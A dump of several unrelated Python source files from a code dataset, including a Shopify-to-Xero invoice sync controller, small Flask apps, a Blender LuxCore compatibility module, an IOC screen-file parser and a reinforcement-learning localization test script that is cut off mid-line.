1\n if discount_application.value_type == 'fixed_amount':\n auto_discount_fixed_vals = self.auto_discount_fixed(order, sale_account)\n line_items_vals.append(auto_discount_fixed_vals)\n elif discount_application.value_type == 'percentage':\n auto_discount_percentage_vals = self.auto_discount_percentage(order, sale_account)\n line_items_vals.append(auto_discount_percentage_vals)\n\n # Add shipping fee\n if order.shipping_lines:\n shipping_item_vals = self.add_shiping_item(order,shipping_account)\n line_items_vals.append(shipping_item_vals)\n\n for line_item in order.line_items:\n discount_amount = 0\n if line_item.total_discount:\n discount_amount = discount_amount + int(line_item.total_discount)\n line_vals = self.order_line_vals(line_item, discount_amount, sale_account)\n line_items_vals.append(line_vals)\n vals['LineItems'] = line_items_vals\n vals_list.append(vals)\n xero = XeroController().get_xero()\n if xero:\n xero.invoices.save(vals_list)\n return True\n\n def order_vals(self, order):\n status = ''\n if order.financial_status:\n status = self.switch_status(order.financial_status)\n # get duedate\n duedate = maya.parse(order.created_at).datetime()\n vals = {\n \"Type\": \"ACCREC\",\n \"DateString\": order.created_at,\n \"DueDate\": duedate,\n \"InvoiceNumber\": \"IVN:\" + str(order.number),\n \"Reference\": order.name,\n \"CurrencyCode\": order.presentment_currency,\n \"Status\": 'AUTHORISED',\n \"LineAmountTypes\": \"Inclusive\" if order.taxes_included else \"Exclusive\",\n \"SubTotal\": order.subtotal_price,\n \"TotalTax\": order.total_tax,\n \"Total\": order.total_price,\n \"Payments\": [\n {\n \"Amount\": \"1000.00\",\n 'Account': {\n 'Code': '201'\n },\n \"Reference\": \"Naswm chawsc anw langw nes\"\n }\n ],\n }\n return vals\n\n def order_line_vals(self, line_item, discount_amount, sale_account):\n line_vals = {\n \"Description\": line_item.name,\n \"UnitAmount\": int(line_item.price),\n \"DiscountAmount\": discount_amount,\n \"ItemCode\": line_item.variant_id,\n \"Quantity\": line_item.quantity,\n \"TaxAmount\": line_item.tax_lines[0].price,\n \"AccountCode\": sale_account,\n # \"DiscountRate\": DiscountRate,\n }\n return line_vals\n\n def add_contact_vals(self, order):\n contact_vals = {}\n if 'customer' in order.attributes:\n contact_vals = {\n \"ContactNumber\": order.customer.id,\n }\n else:\n contact_vals = {\n \"ContactNumber\": order.user_id,\n \"Name\": 'Shopify User: '+order.user_id\n }\n return contact_vals\n\n def add_shiping_item(self, order, shipping_account):\n shipping_item_vals = {\n \"Description\": 'Shipping: ' + order.shipping_lines[0].title,\n \"UnitAmount\": order.shipping_lines[0].price,\n \"Quantity\": 1,\n \"AccountCode\": shipping_account,\n }\n return shipping_item_vals\n\n def add_free_ship_item(self, order, sale_account):\n free_ship_item_vals = {\n \"Description\": \"Free Ship\",\n \"UnitAmount\": str(-int(order.discount_codes[0].amount)),\n \"Quantity\": 1,\n \"TaxType\": \"NONE\",\n \"AccountCode\": sale_account,\n }\n return free_ship_item_vals\n\n def add_discount_amount(self, order, sale_account):\n fixed_amount_vals = {\n \"Description\": \"Discount Code: Fixed Amount\",\n \"UnitAmount\": str(-int(order.discount_codes[0].amount)),\n \"Quantity\": 1,\n \"TaxType\": \"NONE\",\n \"AccountCode\": sale_account,\n }\n return fixed_amount_vals\n\n def add_discount_percentage(self, order, sale_account):\n percentage_amount_vals = {\n \"Description\": \"Discount Code: Percentage\",\n \"UnitAmount\": str(-int(order.discount_codes[0].amount)),\n \"Quantity\": 1,\n \"TaxType\": \"NONE\",\n \"AccountCode\": sale_account,\n }\n return percentage_amount_vals\n\n def auto_discount_fixed(self, order, sale_account):\n auto_discount_vals = {\n \"Description\": \"Auto Discount Amount\",\n \"UnitAmount\": str(-int(order.total_discounts)),\n \"Quantity\": 1,\n \"TaxType\": \"NONE\",\n \"AccountCode\": sale_account,\n }\n return auto_discount_vals\n\n def auto_discount_percentage(self, order, sale_account):\n auto_discount_vals = {\n \"Description\": \"Auto Discount Pecentage\",\n \"UnitAmount\": str(-int(order.total_discounts)),\n \"Quantity\": 1,\n \"TaxType\": \"NONE\",\n \"AccountCode\": sale_account,\n }\n return auto_discount_vals\n\n def is_date_valid(self,from_date,to_date):\n date_format = \"%m/%d/%Y\"\n a = datetime.strptime(from_date, date_format)\n b = datetime.strptime(to_date, date_format)\n delta = b - a\n if delta.days < 0:\n return False\n else:\n return True\n\n def convert_date_format(self, from_date, to_date):\n date_format = \"%m/%d/%Y\"\n from_date = datetime.strptime(from_date, date_format)\n from_date = from_date.strftime('%Y-%m-%d')\n to_date = datetime.strptime(to_date, date_format)\n # add 1 more day to to_date for call api\n to_date += timedelta(days=1)\n to_date = to_date.strftime('%Y-%m-%d')\n return from_date,to_date\n\n # start = timeit.timeit()\n # end = timeit.timeit()\n # print(\"Time: \"+ str(end - start))","sub_path":"shopify_app/controllers/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":19638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"336678520","text":"from flask import Flask, render_template, session\nimport game\n\napp = Flask(__name__)\napp.config['SECRET_KEY']=b'_5#y2L\"F4Q8z\\n\\xec]/'\n\n@app.route('/')\ndef index():\n session['state'] = game.reset_state(game.choose_word())\n return render_template('main.html', state=session['state'], letters=game.LETTERS)\n\n@app.route('/turn/')\ndef next_turn(letter):\n if 'state' not in session:\n session['state'] = game.reset_state(game.choose_word())\n session['state'] = game.turn(session['state'], letter)\n return render_template('main.html', state=session['state'], letters=game.LETTERS)\n","sub_path":"flask_app.py","file_name":"flask_app.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"277353247","text":"\nimport datetime\nimport pytz\nimport random\nimport time\n\ntime_utc = datetime.datetime.now(tz=pytz.UTC)\nnow_1 =time_utc.astimezone(pytz.timezone('Africa/Johannesburg'))\n\ndef greeting():\n now = now_1.strftime(\"%H\")\n if int(now) < 12:\n return \"Good Morning Babe.\"\n elif int(now) < 19:\n return \"Good day babe.\"\n else:\n return \"Good night babe.\"\n\n\nprint(greeting() + \" Welcome to a random guessing game. \\nYou have to guess the name that I want you to call me today. \\nYou can choose from either Babe, Stix or Tapiwa. \\nThe names continuosly change randomly. \\nPlay until you get it correct. Enjoy my stupid code kkk !! \\n\")\n\n\ndef secrete_words():\n secrete_word = [\"Stix\", \"Tapiwa\", \"Babe\"]\n random.shuffle(secrete_word)\n return secrete_word[0] # The function returns a randomly shuffled secrete word at index 0\n\n\ntime_of_execution = now_1.strftime(\"%H:%M\")\n\nguess = \"\" # Creates a viable with an empty string\n\nstart_time = time.time()\ndef condition():\n guess = input(\"Enter guess of my name: \")\n count = 1\n while guess != secrete_words():\n guess = input(\"That's not correct. Enter guess again: \")\n count += 1\n return str(count)\n\n\n\nprint(\"\\nCongrats you got the name. It took you \" + str(condition()) + \" trial(s) to find the name. You executed this code at \" + str(time_of_execution))\n\ntime_level = time.time()-start_time\nif time_level<=25:\n print(\"\\nYou're very good at guessing!!!!!\")\nelif time_level <=45:\n print(\"\\nYou're average at guessing!!!!\")\nelse:\n print(\"\\nYou're poor at guessing!!!!\")\n\nprint(\"\\nOnce again \" + greeting() + \"\\nThanks for running my stupid code kkk \\nI love you so much. \")\n#for tz in pytz.all_timezones:\n #print(tz)\n","sub_path":"Guessing_Other_compilers.py","file_name":"Guessing_Other_compilers.py","file_ext":"py","file_size_in_byte":1723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"342217801","text":"import bpy\nfrom .node import find_nodes\n\n\n\"\"\"\nContains functions that ensure backwards compatibility, \ne.g. replace old nodes with updated ones when socket names change.\n\"\"\"\n\n\ndef run():\n for node_tree in bpy.data.node_groups:\n update_output_nodes_volume_change(node_tree)\n update_glossy_nodes_ior_change(node_tree)\n update_volume_nodes_asymmetry_change(node_tree)\n update_smoke_nodes_add_color_output(node_tree)\n update_colormix_remove_min_max_sockets(node_tree)\n update_imagemap_remove_gamma_brightness_sockets(node_tree)\n update_cloth_remove_repeat_sockets(node_tree)\n update_imagemap_add_alpha_output(node_tree)\n\n\ndef update_output_nodes_volume_change(node_tree):\n # commit 3078719a9a33a7e2a798965294463dce6c8b7749\n\n for old_output in find_nodes(node_tree, \"LuxCoreNodeMatOutput\"):\n if \"Interior Volume\" in old_output.inputs:\n continue\n\n from_node = old_output.inputs[0].links[0].from_node\n\n new_out = node_tree.nodes.new(\"LuxCoreNodeMatOutput\")\n new_out.location = old_output.location\n node_tree.links.new(from_node.outputs[0], new_out.inputs[0])\n\n # Move the old volume node tree PointerProperties into Pointer nodes\n try:\n interior = old_output[\"interior_volume\"]\n\n if interior:\n volume_pointer = node_tree.nodes.new(\"LuxCoreNodeTreePointer\")\n volume_pointer.node_tree = interior\n volume_pointer.location = (new_out.location.x - 250, new_out.location.y - 100)\n node_tree.links.new(volume_pointer.outputs[\"Volume\"], new_out.inputs[\"Interior Volume\"])\n print(\"linked interior\", node_tree.name)\n\n exterior = old_output[\"exterior_volume\"]\n\n if exterior:\n volume_pointer = node_tree.nodes.new(\"LuxCoreNodeTreePointer\")\n volume_pointer.node_tree = exterior\n volume_pointer.location = (new_out.location.x - 250, new_out.location.y - 250)\n node_tree.links.new(volume_pointer.outputs[\"Volume\"], new_out.inputs[\"Exterior Volume\"])\n except KeyError:\n pass\n\n print('Updated output node \"%s\" in tree %s to new version' % (old_output.name, node_tree.name))\n node_tree.nodes.remove(old_output)\n\n\ndef update_glossy_nodes_ior_change(node_tree):\n # commit c3152dec8e0e07e676a60be56ba4578dbe297df6\n\n affected_nodes = find_nodes(node_tree, \"LuxCoreNodeMatGlossy2\")\n affected_nodes += find_nodes(node_tree, \"LuxCoreNodeMatGlossyCoating\")\n\n for node in affected_nodes:\n if \"IOR\" not in node.inputs:\n # Note: the IOR input will be at the very bottom, but at least the export works\n node.add_input(\"LuxCoreSocketIOR\", \"IOR\", 1.5)\n node.inputs[\"IOR\"].enabled = False\n print('Updated %s node \"%s\" in tree \"%s\" to new version' % (node.bl_idname, node.name, node_tree.name))\n\n\ndef update_volume_nodes_asymmetry_change(node_tree):\n # commit 2387d1c300b5a1f6931592efcdd0574d243356e7\n\n if node_tree.bl_idname != \"luxcore_volume_nodes\":\n return\n\n affected_nodes = find_nodes(node_tree, \"LuxCoreNodeVolHeterogeneous\")\n affected_nodes += find_nodes(node_tree, \"LuxCoreNodeVolHomogeneous\")\n\n for node in affected_nodes:\n asymmetry_socket = node.inputs[\"Asymmetry\"]\n if asymmetry_socket.bl_idname == \"NodeSocketUndefined\":\n node.inputs.remove(asymmetry_socket)\n node.add_input(\"LuxCoreSocketVolumeAsymmetry\", \"Asymmetry\", (0, 0, 0))\n print('Updated %s node \"%s\" in tree \"%s\" to new version' % (node.bl_idname, node.name, node_tree.name))\n\n\ndef update_smoke_nodes_add_color_output(node_tree):\n # commit f31f3be5409df9866c9b7364ce79e8e7aee0e875\n\n if node_tree.bl_idname != \"luxcore_volume_nodes\":\n return\n\n for node in find_nodes(node_tree, \"LuxCoreNodeTexSmoke\"):\n if \"Color\" not in node.outputs:\n color = node.outputs.new(\"LuxCoreSocketColor\", \"Color\")\n color.enabled = False\n print('Updated %s node \"%s\" in tree \"%s\" to new version' % (node.bl_idname, node.name, node_tree.name))\n\n\ndef update_colormix_remove_min_max_sockets(node_tree):\n # commit 432b1ba020b07f46758fd19b4b3af91cca0c90ff\n\n for node in find_nodes(node_tree, \"LuxCoreNodeTexColorMix\"):\n if node.mode == \"clamp\" and \"Min\" in node.inputs and \"Max\" in node.inputs:\n socket_min = node.inputs[\"Min\"]\n socket_max = node.inputs[\"Max\"]\n node.mode_clamp_min = socket_min.default_value\n node.mode_clamp_max = socket_max.default_value\n node.inputs.remove(socket_min)\n node.inputs.remove(socket_max)\n print('Updated %s node \"%s\" in tree \"%s\" to new version' % (node.bl_idname, node.name, node_tree.name))\n\n\ndef update_imagemap_remove_gamma_brightness_sockets(node_tree):\n # commit 428110b2c1bdbf8c54a54030939b3c76cb018644\n\n for node in find_nodes(node_tree, \"LuxCoreNodeTexImagemap\"):\n updated = False\n if \"Gamma\" in node.inputs:\n socket_gamma = node.inputs[\"Gamma\"]\n node.gamma = socket_gamma.default_value\n node.inputs.remove(socket_gamma)\n updated = True\n\n if \"Brightness\" in node.inputs:\n socket_brightness = node.inputs[\"Brightness\"]\n node.brightness = socket_brightness.default_value\n node.inputs.remove(socket_brightness)\n updated = True\n\n if updated:\n print('Updated %s node \"%s\" in tree \"%s\" to new version' % (node.bl_idname, node.name, node_tree.name))\n\n\ndef update_cloth_remove_repeat_sockets(node_tree):\n # commit ec3fccdccb3e4c95a4230df8b38f6494bb8e4583\n\n for node in find_nodes(node_tree, \"LuxCoreNodeMatCloth\"):\n if \"Repeat U\" in node.inputs and \"Repeat V\" in node.inputs:\n socket_repeat_u = node.inputs[\"Repeat U\"]\n socket_repeat_v = node.inputs[\"Repeat V\"]\n node.repeat_u = socket_repeat_u.default_value\n node.repeat_v = socket_repeat_v.default_value\n node.inputs.remove(socket_repeat_u)\n node.inputs.remove(socket_repeat_v)\n print('Updated %s node \"%s\" in tree \"%s\" to new version' % (node.bl_idname, node.name, node_tree.name))\n\n\ndef update_imagemap_add_alpha_output(node_tree):\n # commit 09f23b0d758bce9383a0fa8c64ccbeb73706bccf\n\n for node in find_nodes(node_tree, \"LuxCoreNodeTexImagemap\"):\n if \"Alpha\" not in node.outputs:\n node.outputs.new(\"LuxCoreSocketFloatUnbounded\", \"Alpha\")\n print('Updated %s node \"%s\" in tree \"%s\" to new version' % (node.bl_idname, node.name, node_tree.name))\n","sub_path":"All_In_One/addons/BlendLuxCore/utils/compatibility.py","file_name":"compatibility.py","file_ext":"py","file_size_in_byte":6706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"522465683","text":"# -*- coding:utf-8 -*-\n__author__ = 'niean'\n\nfrom web import app\nfrom flask import request, g, jsonify, render_template\nfrom web.model.user import User\nfrom frame import config\nfrom frame.params import required_chk\nimport datetime\n\n@app.route('/user')\ndef users_get():\n page = int(request.args.get('p', 1))\n limit = int(request.args.get('limit', 100))\n query = request.args.get('q', '').strip()\n sb = int(request.args.get('sb', '0'))\n today = datetime.date.today() if sb == 1 else None\n vs, total = User.query(page, limit, query, today)\n return render_template(\n 'user/index.html',\n data={\n 'vs': vs,\n 'total': total,\n 'query': query,\n 'limit': limit,\n 'page': page,\n 'sb': sb,\n 'is_root': g.user_name in config.ADMINS,\n }\n )\n\n@app.route('/user/create', methods=['POST'])\ndef user_create_post():\n return jsonify(msg=\"create successfully\")\n\n@app.route('/user/delete/')\ndef user_delete_get(user_id):\n user_id = int(user_id)\n user = User.get(user_id)\n if not user:\n return jsonify(msg='no such user')\n\n if not user.writable(g.user_name):\n return jsonify(msg='no permission')\n\n User.delete_one(user_id)\n return jsonify(msg='')\n\n@app.route('/user/info/')\ndef user_info_get(uid):\n user = User.get(uid)\n if not user:\n return jsonify(msg='no user')\n\n return render_template(\n 'user/view.html',\n data={\n 'user': user,\n }\n )\n\n@app.route('/user/add')\ndef user_add_get():\n return render_template('user/add.html', data={'user': None})\n\n@app.route('/user/clone/')\ndef user_copy_get(uid):\n o = User.get(uid)\n if o is None:\n return jsonify(msg='no user')\n return render_template('user/add.html', data={'user': o, 'action':'clone'})\n\n@app.route('/user/update/')\ndef user_update_get(uid):\n o = User.get(uid)\n return render_template('user/add.html', data={'user': o})\n\n@app.route('/user/update', methods=['POST'])\ndef user_update_post():\n user_id = request.form['user_id'].strip()\n name = request.form['name'].strip()\n sex = request.form['sex'].strip()\n phone = request.form['phone'].strip()\n birthday = request.form['birthday'].strip()\n card_id = request.form['card_id'].strip()\n card_credit = request.form['card_credit'].strip()\n comment = request.form['comment'].strip()\n\n\n msg = required_chk({\n 'name' : name,\n 'sex' : sex,\n 'phone' : phone,\n })\n if msg:\n return jsonify(msg=msg)\n\n return jsonify(msg=User.insert_or_update(user_id, name, sex, phone, birthday, card_id, card_credit, comment))\n","sub_path":"web/controller/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":2711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"211756227","text":"\"\"\"\n This example illustrates the synthesis of a sound figure.\n\n The sound figure is defined by a grayscale PNG image. Various examples\n are located in the directory figures.\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom PIL import Image\nimport sfs\n\n\n# parameters\ndx = 0.10 # secondary source distance\nN = 60 # number of secondary sources\npw_angle = [90, 45] # traveling direction of plane wave\nf = 2000 # frequency\n\n\n# angular frequency\nomega = 2 * np.pi * f\n\n# normal vector of plane wave\nnpw = sfs.util.direction_vector(np.radians(pw_angle[0]), np.radians(pw_angle[1]))\n\n# spatial grid\nx = sfs.util.strict_arange(-3, 3, 0.02, endpoint=True)\ny = sfs.util.strict_arange(-3, 3, 0.02, endpoint=True)\ngrid = np.meshgrid(x, y, 0, sparse=True)\n\n\n# --------------------------------------------------------------------------------\n# main\n# --------------------------------------------------------------------------------\n\n# get secondary source positions\nx0, n0, a0 = sfs.array.cube(N, dx, N, dx, N, dx)\n\n# driving function for sound figure\nfigure = np.array(Image.open('figures/tree.png')) # read image from file\nfigure = np.rot90(figure) # turn 0deg to the top\nd = sfs.mono.soundfigure.wfs_3d_pw(omega, x0, n0, figure, npw=npw)\n\n# compute synthesized sound field\np = sfs.mono.synthesized.generic(omega, x0, n0, d * a0, grid,\n source=sfs.mono.source.point)\n\n# plot and save synthesized sound field\nplt.figure(figsize=(10, 10))\nsfs.plot.soundfield(2.5e-9 * p, grid, colorbar=False, cmap=plt.cm.BrBG)\nplt.title('Synthesized Sound Field')\nplt.savefig('soundfigure.png')\n\n\n# plot and save level of synthesized sound field\nplt.figure(figsize=(12.5, 12.5))\nLp = 20*np.log10(abs(p) / abs(p[len(x)//2, len(y)//2]))\nplt.imshow(Lp, origin='lower',\n extent=[min(x), max(x), min(y), max(y)],\n vmin=-50, vmax=0, aspect='equal')\nplt.title('Level of Synthesized Sound Field')\nplt.xlabel('x (m)')\nplt.ylabel('y (m)')\ncbar = plt.colorbar(shrink=0.8)\ncbar.set_label('dB')\nplt.savefig('soundfigure_level.png')\n","sub_path":"examples/soundfigures.py","file_name":"soundfigures.py","file_ext":"py","file_size_in_byte":2062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"569073631","text":"__author__ = 'work'\n#coding: utf-8\n\nfrom lxml import etree\ntree = etree.parse('Zaplatkina.xml')\nroot1 = tree.getroot()\n\n#create new subelement\nfor element in root1:\n new = etree.SubElement(element, \"comments\")\n new.text = \"Посмотрите комментарии и отзывы\"\n\n#change element text\nfor element in tree.iter('title3'):\n element.text = \"Салат 'Оливье'\"\n\noutput = etree.tostring(root1, pretty_print=True, encoding='UTF-8')\nf = open('Zaplatkina_changed.xml', 'w')\nf.write(output.decode())\nf.close()","sub_path":"Zoteeva/Task_2.py","file_name":"Task_2.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"261789760","text":"#!/usr/bin/env python\n\n'''This module parses the screen IOCs file. The main method is the parseScreenIOCs'''\nimport sys\nfrom plex import *\n\n\n# Here's where we define the lexicon for the parser.\n# This is based on the format of the screenIOCs file - see parseScreenIOCs for a specification\nletter = Range(\"AZaz\")\ndigit = Range(\"09\")\nhspace = Any(\" \\t\")\nspchars = Any(\"-_.\")\ncomma = Str(\",\")\nquote = Str('\"')\npathSeparator = Str(\"/\")\nname = Rep1(letter | digit | spchars)\nnumber = Rep1(digit)\npath = pathSeparator + Rep1(name | pathSeparator)\nspace = Any(\" \\t\\n\")\ncomment = Bol + Str(\"#\") + Rep(AnyBut(\"\\n\")) + Eol\niocName = Bol + name\ndescription = Str(\"#\") + Rep(AnyBut(\"\\n\")) + Eol\n\nterminal = Bol +Str(\"#####\") + Rep(Any(\"#\")) + Str(\"\\n\") + Bol + Str('# No')\nendTerminal = Bol +Str(\"#####\") + Rep(Any(\"#\")) + Str(\"\\n\")\n\ntsNode = Str('de:') + Rep(AnyBut(\"\\n\")) + Eol\ntsModel = Bol+ Str('# Model:') + Rep(AnyBut(\"\\n\"))+ Eol\ntsLocation = Str('# Location') + Rep(AnyBut(\"\\n\"))+ Eol\ntsRack = Str('# Rack') + Rep(AnyBut(\"\\n\"))+ Eol\ntsPort1 = Str('# Port 1') + Rep(AnyBut(\"\\n\"))+ Eol\ntsFill = Str('# fill this out ') + Rep(AnyBut(\"\\n\"))+ Eol\n\n\nfileLexicon = Lexicon([\n (comment, IGNORE),\n (space, IGNORE),\n (iocName, 'iocName'),\n (path, 'path'),\n (number, 'port'),\n (name, 'genericname'),\n (description, 'description'),\n (terminal, Begin('terminal')),\n (terminal, 'terminal'),\n\n\n\nState('terminal', [\n (space, IGNORE),\n (endTerminal, Begin('')),\n (tsNode, 'tsNode'),\n (tsModel, 'tsModel'),\n (tsLocation, 'tsLocation'),\n (tsRack, 'tsRack'),\n (tsPort1, 'tsPort1'),\n (tsFill,'tsFill'),\n])\n\n])\n\n# Node: ts-b136-nw02 #\n# Model: Digi PortServer #\n# Location: Building 136 #\n# Rack: B136-25 #\n# Port 1: 2001\n\n\ndef convertFileToTokens(screenIOCsFileName):\n '''This method does the actual parsing. It converts the screenioc file into a list of tokens.\n Unsure if there is a proper grammmar for this file so go first to a list of tokens and then to iocinfo'''\n tokens = []\n with open(screenIOCsFileName, 'r') as f:\n scanner = Scanner(fileLexicon, f, screenIOCsFileName)\n while 1:\n token = scanner.read()\n #print token\n if token[0] is None:\n break\n tokens.append(token)\n\n #print tokens\n\n return tokens\n\ndef parseScreenIOCs(screenIOCsFileName):\n '''Parse the screen IOCS file whose path is specified in screenIOCsFileName and return a dict of IOCName -> Info.\n Info can be one of these types - the type of the info is in the type column\n 1) type:IOC - All hard IOCs connecting thru a terminal server have names that begin with ioc/eioc. For example, ioc-b34-bp02. \n These have columns for\n 1.1) iocName/Alias\n 1.2) Terminal\n 1.3) Port No.\n 1.4) Host where screen is run\n 1.5) Comments (must start with #)\n For example, \n ioc-b34-bp02 ts-b34-nw01 2002 lcls-dev1 # bpm test ioc \n 2)type:SIOC - All soft IOCs for whom we expect an executable path have names that begin with sioc. For example, sioc-sys0-cv01.\n These have columns for\n 2.1) iocName/Alias\n 2.2) Full path to executable\n 2.3) A fixed field that is always the string sioc\n 2.4) Host where screen is run\n 2.5) Comments (must start with #)\n For example, \n sioc-sys0-cv01 /afs/slac/g/lcls/epics/iocCommon/sioc-sys0-cv01/bin/CAMACSoft sioc lcls-dev1\n 3) type:VIOC - All hard IOCs connecting thru a SSH session have names that begin with a vioc. For example, vioc-b15-mg01\n These have columns for\n 3.1) iocName/Alias\n 3.2) Machine name hosting the IOC+ssh session\n 3.3) UserID that we ssh as.\n 3.4) Comments (need not start with #)\n For example,\n vioc-b15-mg01 eioc-b15-mg01 laci lcls-dev1 embedded ATOM-MCOR IOC Test Stand\n '''\n# if globals.verbose:\n# print \"Parsing screenIOCs file \", screenIOCsFileName\n tokens = convertFileToTokens(screenIOCsFileName)\n # We now walk thru the tokens and use the fact that hard IOC's have a port in column 3 and SIOC's a path in column 2.\n iocInfos = {}\n currentIOCInfo = None\n columnNumber = 1\n\n ts=None\n\n for token in tokens:\n\n\n if token[0]=='tsNode':\n ts = token[1].split()[1]\n\n\n if currentIOCInfo:\n iocInfos[currentIOCInfo['name']] = currentIOCInfo\n currentIOCInfo = None\n currentIOCInfo = {}\n currentIOCInfo['name'] = ts\n currentIOCInfo['type'] = 'TS'\n\n\n elif token[0].find('ts')==0:\n currentIOCInfo[token[0]] = token[1].split()[1]\n\n\n elif token[0] == 'iocName':\n if currentIOCInfo:\n iocInfos[currentIOCInfo['name']] = currentIOCInfo\n currentIOCInfo = None\n currentIOCInfo = {}\n columnNumber = 1\n currentIOCInfo['name'] = token[1]\n currentIOCInfo['terminalServer'] = ts\n\n elif token[0] == 'path':\n if columnNumber == 2:\n currentIOCInfo['type'] = 'SIOC'\n currentIOCInfo['executable'] = token[1]\n elif token[0] == 'port':\n currentIOCInfo['type'] = 'HIOC'\n currentIOCInfo['port'] = token[1]\n elif token[0] == 'description':\n currentIOCInfo['description'] = token[1]\n elif token[0] == 'genericname':\n # Now's the tricky part; we use type and then column number to intelligently place the token in the correct place\n if 'type' in currentIOCInfo:\n if currentIOCInfo['type'] == 'HIOC':\n # We'd know the HIOC's type only in column 4 after the port number\n currentIOCInfo['screenhost'] = token[1]\n elif currentIOCInfo['type'] == 'SIOC':\n # For SIOC's the only genericname that matters is column 4; column 3 is fixed as sioc\n if token[1] != 'sioc' and token[1] != 'SIOC':\n currentIOCInfo['screenhost'] = token[1]\n elif currentIOCInfo['type'] == 'VIOC':\n # We'd know the VIOC's type only in column 4 after the user name; VIOC's do not have a screenhost\n raise Exception(\"Error parsing screenioc. Encountering generic name in column\".format(columnNumber))\n else:\n raise Exception(\"Unknown IOC type\".format(currentIOCInfo['type']))\n else:\n if columnNumber == 2:\n # We don't really care about the type here; both VIOC's and HIOC's use the same attribute\n currentIOCInfo['terminalserver'] = token[1]\n elif columnNumber == 3:\n # A generic name in column 3 tells us that this a VIOC\n currentIOCInfo['type'] = 'VIOC'\n currentIOCInfo['user'] = token[1]\n else:\n raise Exception(\"Error parsing screenioc. Encountering generic name in column\".format(columnNumber))\n\n\n else:\n print((\"Unrecognized token\", token))\n columnNumber = columnNumber + 1\n if currentIOCInfo:\n iocInfos[currentIOCInfo['name']] = currentIOCInfo\n currentIOCInfo = None\n return iocInfos\n\n \n \nif __name__ == \"__main__\":\n tokens = convertFileToTokens(sys.argv[1])\n for token in tokens:\n print(token)\n","sub_path":"tools/saciImporter/parseScreenIOCS.py","file_name":"parseScreenIOCS.py","file_ext":"py","file_size_in_byte":7455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"257067535","text":"import cv2, numpy as np\nimport time\nimport math as mth\nfrom PIL import Image, ImageDraw, ImageFont\nimport scipy.io\nfrom keras.models import Sequential\nfrom keras import initializers\nfrom keras.initializers import normal, identity\nfrom keras.layers.core import Dense, Dropout, Activation, Flatten\nfrom keras.optimizers import RMSprop, SGD, Adam\nimport random\nimport argparse\nfrom scipy import ndimage\nfrom keras.preprocessing import image\nfrom sklearn.preprocessing import OneHotEncoder\nfrom features import get_image_descriptor_for_image, \\\n\tget_conv_image_descriptor_for_image, calculate_all_initial_feature_maps\nfrom image_helper import *\nfrom metrics import *\nfrom visualization import *\nfrom reinforcement import *\nimport pdb\nimport matplotlib.pyplot as plt\n\n\n# Read number of epoch to be trained, to make checkpointing\nparser = argparse.ArgumentParser(description='Epoch:')\nparser.add_argument(\"-n\", metavar='N', type=int, default=0)\nargs = parser.parse_args()\nepochs_id = int(args.n)\n\ndef dimg(img):\n\tplt.imshow(img)\n\tplt.show()\n\n\nif __name__ == \"__main__\":\n\n\t######## PATHS definition ########\n\n\tpath_test = \"../data/dot_without_bg/test/\"\n\tpath_model = \"../models/model_dot_without_bg/\"\n\t# path of where to store visualizations of search sequences\n\tpath_ouptut_folder = '../data/dot_without_bg/test_output1/'\n\tos.makedirs(path_ouptut_folder , exist_ok=True)\n\n\t# weight_descriptor_model = \"../models/decriptor_model/model1000_weights.hdf5\"\n\n\t######## PARAMETERS ########\n\n\t# Scale of subregion for the hierarchical regions (to deal with 2/4, 3/4)\n\tscale_subregion = float(3)/4\n\tscale_mask = float(1)/(scale_subregion*4)\n\t# 1 if you want to obtain visualizations of the search for objects\n\tbool_draw = 1\n\t# How many steps can run the agent until finding one object\n\tnumber_of_steps = 10\n\tepochs = 2000\n\tgamma = 0.90\n\tepsilon = 0.0\n\tbatch_size = 10\n\ttest_size = 1\n\t# Pointer to where to store the last experience in the experience replay buffer,\n\t# are trained at the same time\n\th = 0\n\t# Each replay memory (one for each possible category) has a capacity of 100 experiences\n\tbuffer_experience_replay = 10\n\t# Init replay memories\n\treplay = []\n\treward = 0\n\n\t######## model ########\n\t# model_rl = obtain_compiled_model(weight_descriptor_model)\n\t# model_rl.summary()\n\n\t# If you want to train it from first epoch, first option is selected. Otherwise,\n\t# when making checkpointing, weights of last stored weights are loaded for a particular class object\n\n\tweight_directory = '../models/model_dot_without_bg/'\n\tweight_files = os.listdir(weight_directory)\n\tepoch_nums = [-1]\n\tfor file in weight_files:\n\t\tepoch_num = int(os.path.splitext(file)[0][7:])\n\t\tepoch_nums.append(epoch_num)\n\tcurrent_epoch = max(epoch_nums)\n\tepochs_id = current_epoch + 1\n\n\tif epochs_id == 0:\n\t\tq_net_weights = None\n\telse:\n\t\tq_net_weights = weight_directory + '_epoch_' + str(current_epoch) + '.hdf5'\n\tmodel = build_q_network(q_net_weights)\n\tmodel.summary()\n\n\t######## LOAD IMAGE NAMES ########\n\n\timg_names = np.array([load_images_names_in_dot_data_set(path_test)])\n\timgs = get_all_dot_images(img_names, path_test)\n\n\t######## LOAD Ground Truth values ########\n\tgt_masks = np.load('../data/bb_info.npy')\n\n\tfor j in range(np.size(img_names)):\n\t\timg = np.array(imgs[j])\n\t\timg_name = img_names[0][j]\n\t\timg_index = int(os.path.splitext(img_name)[0])\n\t\tgt_mask = gt_masks[img_index]\n\t\tgt_mask_img = np.zeros([img.shape[0] , img.shape[1]])\n\t\tgt_mask_img[gt_mask[1]:gt_mask[3] , gt_mask[0]:gt_mask[2] ] = 1\n\n\t\tregion_mask = np.ones([img.shape[0], img.shape[1]])\n\t\tstep = 0\n\t\tregion_img = img\n\t\toffset = (0, 0)\n\t\tsize_mask = (img.shape[0], img.shape[1])\n\t\toriginal_shape = 